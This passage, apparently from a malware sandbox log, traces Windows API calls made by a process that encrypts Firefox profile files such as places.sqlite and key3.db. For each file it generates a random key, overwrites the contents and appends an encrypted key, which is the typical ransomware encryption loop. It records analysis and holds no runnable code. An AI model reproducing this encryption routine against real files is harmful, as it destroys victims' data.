lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.495] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.496] CloseHandle (hObject=0x1a24) returned 1 [0175.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0175.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal", dwFileAttributes=0x80) returned 1 [0175.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67148 [0175.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578700 [0175.506] ReadFile (in: hFile=0x1a24, lpBuffer=0x3524020, nNumberOfBytesToRead=0x208638, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3524020*, lpNumberOfBytesRead=0x2e1f9bc*=0x208638, lpOverlapped=0x0) returned 1 [0175.607] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-2131512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.607] WriteFile (in: hFile=0x1a24, lpBuffer=0x373a020*, nNumberOfBytesToWrite=0x208638, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x373a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x208638, lpOverlapped=0x0) returned 1 [0175.651] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x208638 [0175.651] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.652] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.652] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.653] CloseHandle (hObject=0x1a24) returned 1 [0175.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.655] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0175.655] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm", dwFileAttributes=0x80) returned 1 [0175.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0175.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578700 [0175.655] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0175.687] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.687] WriteFile (in: hFile=0x1a24, lpBuffer=0x30dd038*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0175.687] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8000 [0175.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.688] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.688] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.688] CloseHandle (hObject=0x1a24) returned 1 [0175.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.757] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", dwFileAttributes=0x80) returned 1 [0175.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ede0 [0175.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.781] ReadFile (in: hFile=0x1a24, lpBuffer=0x352a020, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesRead=0x2e1f9bc*=0x500000, lpOverlapped=0x0) returned 1 [0176.070] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-5242880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.070] WriteFile (in: hFile=0x1a24, lpBuffer=0x3a30020*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3a30020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x500000, lpOverlapped=0x0) returned 1 [0176.162] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x500000 [0176.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.162] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.170] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.170] CloseHandle (hObject=0x1a24) returned 1 [0176.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", dwFileAttributes=0x80) returned 1 [0176.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67788 [0176.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578a78 [0176.176] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x18000, lpOverlapped=0x0) returned 1 [0176.237] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.237] WriteFile (in: hFile=0x1a24, lpBuffer=0x343a010*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18000, lpOverlapped=0x0) returned 1 [0176.238] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18000 [0176.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.238] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.238] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.239] CloseHandle (hObject=0x1a24) returned 1 [0176.240] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0176.240] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.240] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\parent.lock", dwFileAttributes=0x80) returned 1 [0176.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ede0 [0176.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0176.241] ReadFile (in: hFile=0x1a24, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0176.241] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.241] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0176.241] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0176.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.241] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.242] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.242] CloseHandle (hObject=0x1a24) returned 1 [0176.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0176.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", dwFileAttributes=0x80) returned 1 [0176.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cf68 [0176.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0176.244] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0176.257] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.257] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d9038*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0176.258] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0176.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.258] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.259] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.259] CloseHandle (hObject=0x1a24) returned 1 [0176.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0176.260] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", dwFileAttributes=0x80) returned 1 [0176.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ed28 [0176.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0176.261] ReadFile (in: hFile=0x1a24, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x2ab, lpOverlapped=0x0) returned 1 [0176.271] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.272] WriteFile (in: hFile=0x1a24, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x2ab, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2ab, lpOverlapped=0x0) returned 1 [0176.272] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2ab [0176.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.272] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.273] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.273] CloseHandle (hObject=0x1a24) returned 1 [0176.274] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.275] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal", dwFileAttributes=0x80) returned 1 [0176.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66a40 [0176.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578388 [0176.277] ReadFile (in: hFile=0x1a24, lpBuffer=0x6f3020, nNumberOfBytesToRead=0x901d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f3020*, lpNumberOfBytesRead=0x2e1f9bc*=0x901d0, lpOverlapped=0x0) returned 1 [0176.300] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-590288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.301] WriteFile (in: hFile=0x1a24, lpBuffer=0x3522020*, nNumberOfBytesToWrite=0x901d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3522020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x901d0, lpOverlapped=0x0) returned 1 [0176.307] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x901d0 [0176.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.308] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.308] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.308] CloseHandle (hObject=0x1a24) returned 1 [0176.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.309] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm", dwFileAttributes=0x80) returned 1 [0176.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67148 [0176.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578a78 [0176.310] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0176.322] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.322] WriteFile (in: hFile=0x1a24, lpBuffer=0x30dd038*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0176.323] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8000 [0176.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.323] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.324] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.324] CloseHandle (hObject=0x1a24) returned 1 [0176.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", dwFileAttributes=0x80) returned 1 [0176.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ed28 [0176.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d0d8 [0176.345] ReadFile (in: hFile=0x1a24, lpBuffer=0x3520020, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2e1f9bc*=0x500000, lpOverlapped=0x0) returned 1 [0176.552] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-5242880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.552] WriteFile (in: hFile=0x1a24, lpBuffer=0x3a3c020*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3a3c020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x500000, lpOverlapped=0x0) returned 1 [0176.640] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x500000 [0176.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.640] WriteFile (in: 